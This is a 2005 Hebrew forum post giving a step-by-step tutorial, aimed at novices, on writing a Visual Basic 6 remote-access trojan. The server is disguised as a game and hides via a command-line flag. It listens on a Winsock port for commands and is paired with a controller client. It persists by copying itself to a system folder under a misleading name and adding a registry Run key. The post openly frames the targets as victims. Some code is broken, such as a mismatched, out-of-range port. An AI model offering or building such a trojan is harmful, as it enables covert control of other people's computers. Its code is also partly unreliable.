נשלח בתאריך: 02 November 2005 בשעה 17:08 | | IP רשוּם
|
|
|
|
אוקיי המדריך הזה הוא לכל הנובים והליימרים שרוצים ללמוד איך לא לפרוץ אם תוכנה...תנצלו אותו כי אין הרבה מדריכים לזה וזה עוד מעט לא יהיה על השרת...
קודם כל אני חייב לציין שמה שיקרה לכם כתוצאה מזה אינו על אחריותי,אני רק נותן לכם את האפשרות ללמוד איך לעשות את זה...מה שתעשו אם זה לא על אחריותי...
בואו נתחיל לעבוד... --------------------- בשביל לעשות ת'טרויאן אתם צריכים Visual Basic 6 או איזה גירסא מחודשת שיש וידע... ----------- דבר ראשון, פתחו פרויקט חדש מסוג Standard EXE. ועכשיו פתחו עוד אחד. אחד מהם יהיה הסרבר,והשני השלט רחוק שלנו, שאיתו נפרוץ.
נתחיל עם הסרבר. דבר ראשון, רצוי להסתיר את הסרבר בתור איזשהו קובץ(משחק,תכנה). אפשר להשתמש במשהו שבניתם פעם, או ליצור משהו מהיר ופשוט. קבעו טופס זה בתור הטופס שעולה עם התוכנה. הוסיפו באירוע ה-Form_Load את השורה: If Command = "-N" then Me.Hide Load Form2
הסבר ---- בשורה הראשונה אנחנו קובעים שאם ה-Command Line Parameter של התוכנה יהיה -N אז לא יוצג טופס המשחק - כדי שאם נשים את הטרויאני ב-Startup המשחק לא יעלה אלא רק הטרויאני. השורה השניה תגרום לטופס הטרויאני שתכף ניצור להטען.
להמשיך לעבוד ------------ אחר כך, נפתח Form נוסף ונקרא לו Form2 - זה יהיה הטרויאני. צרו אותו קטן, כי כל מה שנשים עליו זה רק פקד Winsock - צריך ללכת ל-Project - Components ולבחור Microsoft Winsock Control, ואז לשים פקד ווינסוק אחד בטופס שלנו. ב-Properties של הווינסוק קבעו: Localport = 11223 או כל מספר אחר, אבל רצוי גבוה כדי שהפורט לא יהיה בשימוש. זכרו את המספר הזה. ב-Form_Load כתבו: Winsock1.Listen
עכשיו, נטפל באירוע ConnectionRequest של ה-Winsock - נכתוב שם: If winsock1.State <> sckClosed then Winsock1.Close Winsock1.Accept requestID
בקיצור, במקרה של בקשת חיבור הוא מפסיק את ה-Listen ומקבל את ההתחברות.
באירוע DataArrival של הווינסוק נטפל בפקודות שיגיעו מהשולט. רצוי לעשות דבר כזה:
dim dGet, Act, Vars as string Winsock1.Getdata dGet, vbString Act = left(dGet,7) Vars = Right(dGet,len(dget)-7)
Select case Act Case "Msg-Box" Msgbox Vars Case "Action" Do something Case "SthElse" Do something else End select
חילקתי את המידע שמגיע אלינו מהשולט ל-2 חלקים: 7 התווים הראשונים, והשאר. למה? ככה נוכל לשלוח לטרויאני פקודה עם פרמטרים, כמו למשל הצגת הודעה לקורבן: שולחים לטרויאני את הפקודה מסג-בוקס, ואחריה את ההודעה.
ונעבור אל השולט. גם כאן נצטרך פקד ווינסוק, ונגדיר בו את: LocalPort = 0 RemotePort = 112233
צרו תיבת טקסט, וקבעו שכשמשנים אותה (Text1_Change) הטקסט שבה ייכנס אל המשתנה RemoteHost של הווינסוק. צרו כפתור התחברות ובאירוע הלחיצה שלו כתבו:
If winsock1.State <> sckClosed then Winsock1.Close Winsock1.Connect
כדאי להכניס באירוע Connected של הווינסוק הודעה שהחיבור הצליח, וב-Close הודעה על ההתנתקות. צרו כפתורים שישלחו פקודות לטרויאני. רצוי שהכפתורים יהיו Disabled כל עוד לא מתחברים, כדי למנוע Runtime Errors. באירוע הלחיצה של כל אחד מהכפתורים, שלחו אל הטרויאני את הפקודה שברצונכם לשלוח אליו - לא מדובר בפקודות של ויז'ואל בייסיק! הכוונה היא לטקסט שהטרויאני יקבל ויעשה פעולה כפי שהגדרתם לו. למשל: Winsock1.SendData "Msg-Box" & inputbo"Message please")
עכשיו, בטח נרצה שהטרויאני יועתק למקום אחר בדיסק, כדי שישאר על המחשב במקר שהקורבן שלנו מוחק את הקובץ. If Right(App.Path, 1) = "\" Then tmpPath = App.Path & App.ExeName & ".exe" If Right(App.Path, 1) <> "\" Then tmpPath = App.Path & "\" & App.ExeName & ".exe" on error resume next MkDir "C:\Windows\System" FileCopy tmpPath, "C:\Windows\System\Syst32.exe"
השורות האלה יוצרות את התיקיה c:\windows\system אם היא לא קיימת, ומעתיקה אליה את הטרויאני בשם תמים ומאוד ווינדוסי.
אפשר גם להפעיל את הטרויאני כל פעם שהמחשב עולה על ידי הכנסה לרגי'סטרי ב-Key הבא: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run את הערך "Syst32" עם הנתונים "c:\windows\system\Syst32.exe -N
------------------------------------------------------------ - אם יש לכם שאלות...תמשיכו ללמוד ואז תחזרו למדריך... ------------------------------------------------------------ - אחים שלי חבר שלי הכין ת'מדריך הזה ושלח לי...H{AC}K...שמרו לו ת'זכויות...
|